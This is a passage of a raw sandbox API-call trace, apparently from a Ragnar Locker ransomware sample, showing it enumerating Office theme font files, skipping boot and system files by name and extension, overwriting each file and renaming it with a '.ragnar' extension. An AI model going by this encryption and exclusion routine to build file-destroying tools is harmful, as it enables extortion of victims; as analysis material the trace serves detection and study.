dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe48, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.318] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.318] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe48, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.318] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.318] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.318] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.318] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.318] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.319] GetProcessHeap () returned 0x580000 [0094.319] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.319] CloseHandle (hObject=0x10c) returned 1 [0094.319] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml" [0094.319] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml.ragnar_FD7BD9FC" [0094.319] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\elemental.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\elemental.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.319] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0301b00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0301b00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xef5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Equity.xml", cAlternateFileName="")) returned 1 [0094.319] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.319] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Equity.xml" | out: lpString1="Equity.xml") returned="Equity.xml" [0094.319] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml") returned=".xml" [0094.320] lstrcmpiW (lpString1="Equity.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.320] lstrcmpiW (lpString1="Equity.xml", lpString2="autorun.inf") returned 1 [0094.320] lstrcmpiW (lpString1="Equity.xml", lpString2="boot.ini") returned 1 [0094.320] lstrcmpiW (lpString1="Equity.xml", lpString2="bootfont.bin") returned 1 [0094.320] lstrcmpiW (lpString1="Equity.xml", lpString2="bootsect.bak") returned 1 [0094.320] lstrcmpiW (lpString1="Equity.xml", lpString2="bootmgr") returned 1 [0094.320] lstrcmpiW (lpString1="Equity.xml", lpString2="bootmgr.efi") returned 1 [0094.320] lstrcmpiW (lpString1="Equity.xml", lpString2="bootmgfw.efi") returned 1 [0094.320] lstrcmpiW (lpString1="Equity.xml", lpString2="desktop.ini") returned 1 [0094.320] lstrcmpiW (lpString1="Equity.xml", lpString2="iconcache.db") returned -1 [0094.320] lstrcmpiW (lpString1="Equity.xml", lpString2="ntldr") returned -1 [0094.320] lstrcmpiW (lpString1="Equity.xml", lpString2="ntuser.dat") returned -1 [0094.320] lstrcmpiW (lpString1="Equity.xml", lpString2="ntuser.dat.log") returned -1 [0094.320] lstrcmpiW (lpString1="Equity.xml", lpString2="ntuser.ini") returned -1 [0094.320] lstrcmpiW (lpString1="Equity.xml", lpString2="thumbs.db") returned -1 [0094.320] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.320] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.320] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.320] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.320] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.320] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.320] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\equity.xml")) returned 0x20 [0094.320] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\equity.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.321] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3829) returned 1 [0094.321] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xeec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.321] GetProcessHeap () returned 0x580000 [0094.321] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.321] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.323] VirtualAlloc (lpAddress=0x0, dwSize=0xef5, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.323] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.323] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.323] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xef5, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xef5, lpOverlapped=0x0) returned 1 [0094.323] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.323] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xef5, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.323] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xef5, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xef5, lpOverlapped=0x0) returned 1 [0094.323] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xef5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.323] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.323] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xef5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.323] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.324] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.324] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.324] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.324] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.324] GetProcessHeap () returned 0x580000 [0094.324] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.324] CloseHandle (hObject=0x10c) returned 1 [0094.324] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml" [0094.324] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml.ragnar_FD7BD9FC" [0094.324] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\equity.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\equity.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.325] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4741800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4741800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe16, dwReserved0=0x0, dwReserved1=0x0, cFileName="Essential.xml", cAlternateFileName="ESSENT~1.XML")) returned 1 [0094.325] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.325] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Essential.xml" | out: lpString1="Essential.xml") returned="Essential.xml" [0094.325] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml") returned=".xml" [0094.325] lstrcmpiW (lpString1="Essential.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.325] lstrcmpiW (lpString1="Essential.xml", lpString2="autorun.inf") returned 1 [0094.325] lstrcmpiW (lpString1="Essential.xml", lpString2="boot.ini") returned 1 [0094.325] lstrcmpiW (lpString1="Essential.xml", lpString2="bootfont.bin") returned 1 [0094.325] lstrcmpiW (lpString1="Essential.xml", lpString2="bootsect.bak") returned 1 [0094.325] lstrcmpiW (lpString1="Essential.xml", lpString2="bootmgr") returned 1 [0094.325] lstrcmpiW (lpString1="Essential.xml", lpString2="bootmgr.efi") returned 1 [0094.325] lstrcmpiW (lpString1="Essential.xml", lpString2="bootmgfw.efi") returned 1 [0094.325] lstrcmpiW (lpString1="Essential.xml", lpString2="desktop.ini") returned 1 [0094.325] lstrcmpiW (lpString1="Essential.xml", lpString2="iconcache.db") returned -1 [0094.325] lstrcmpiW (lpString1="Essential.xml", lpString2="ntldr") returned -1 [0094.325] lstrcmpiW (lpString1="Essential.xml", lpString2="ntuser.dat") returned -1 [0094.325] lstrcmpiW (lpString1="Essential.xml", lpString2="ntuser.dat.log") returned -1 [0094.325] lstrcmpiW (lpString1="Essential.xml", lpString2="ntuser.ini") returned -1 [0094.325] lstrcmpiW (lpString1="Essential.xml", lpString2="thumbs.db") returned -1 [0094.325] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.325] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.325] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.325] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.326] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.326] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.326] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.326] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\essential.xml")) returned 0x20 [0094.326] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\essential.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.326] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3606) returned 1 [0094.326] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe0d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.326] GetProcessHeap () returned 0x580000 [0094.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.326] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.328] VirtualAlloc (lpAddress=0x0, dwSize=0xe16, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.328] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.328] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.328] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe16, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe16, lpOverlapped=0x0) returned 1 [0094.328] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.328] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe16, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.328] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe16, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe16, lpOverlapped=0x0) returned 1 [0094.328] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe16, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.328] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.329] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe16, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.329] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.329] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.329] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.329] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.329] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.329] GetProcessHeap () returned 0x580000 [0094.329] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.329] CloseHandle (hObject=0x10c) returned 1 [0094.329] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml" [0094.329] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml.ragnar_FD7BD9FC" [0094.329] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\essential.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\essential.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.330] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1655bb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1655bb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Executive.xml", cAlternateFileName="EXECUT~1.XML")) returned 1 [0094.330] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.330] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Executive.xml" | out: lpString1="Executive.xml") returned="Executive.xml" [0094.330] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml") returned=".xml" [0094.330] lstrcmpiW (lpString1="Executive.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.330] lstrcmpiW (lpString1="Executive.xml", lpString2="autorun.inf") returned 1 [0094.330] lstrcmpiW (lpString1="Executive.xml", lpString2="boot.ini") returned 1 [0094.330] lstrcmpiW (lpString1="Executive.xml", lpString2="bootfont.bin") returned 1 [0094.330] lstrcmpiW (lpString1="Executive.xml", lpString2="bootsect.bak") returned 1 [0094.330] lstrcmpiW (lpString1="Executive.xml", lpString2="bootmgr") returned 1 [0094.330] lstrcmpiW (lpString1="Executive.xml", lpString2="bootmgr.efi") returned 1 [0094.330] lstrcmpiW (lpString1="Executive.xml", lpString2="bootmgfw.efi") returned 1 [0094.330] lstrcmpiW (lpString1="Executive.xml", lpString2="desktop.ini") returned 1 [0094.330] lstrcmpiW (lpString1="Executive.xml", lpString2="iconcache.db") returned -1 [0094.330] lstrcmpiW (lpString1="Executive.xml", lpString2="ntldr") returned -1 [0094.331] lstrcmpiW (lpString1="Executive.xml", lpString2="ntuser.dat") returned -1 [0094.331] lstrcmpiW (lpString1="Executive.xml", lpString2="ntuser.dat.log") returned -1 [0094.331] lstrcmpiW (lpString1="Executive.xml", lpString2="ntuser.ini") returned -1 [0094.331] lstrcmpiW (lpString1="Executive.xml", lpString2="thumbs.db") returned -1 [0094.331] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.331] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.331] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.331] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.331] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.331] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.331] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\executive.xml")) returned 0x20 [0094.331] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\executive.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.331] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3631) returned 1 [0094.331] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe26, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.331] GetProcessHeap () returned 0x580000 [0094.331] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.332] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.333] VirtualAlloc (lpAddress=0x0, dwSize=0xe2f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.333] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.333] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.333] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe2f, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe2f, lpOverlapped=0x0) returned 1 [0094.333] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.333] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe2f, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.333] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe2f, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe2f, lpOverlapped=0x0) returned 1 [0094.333] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe2f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.333] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.334] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe2f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.334] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.334] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.334] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.334] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, 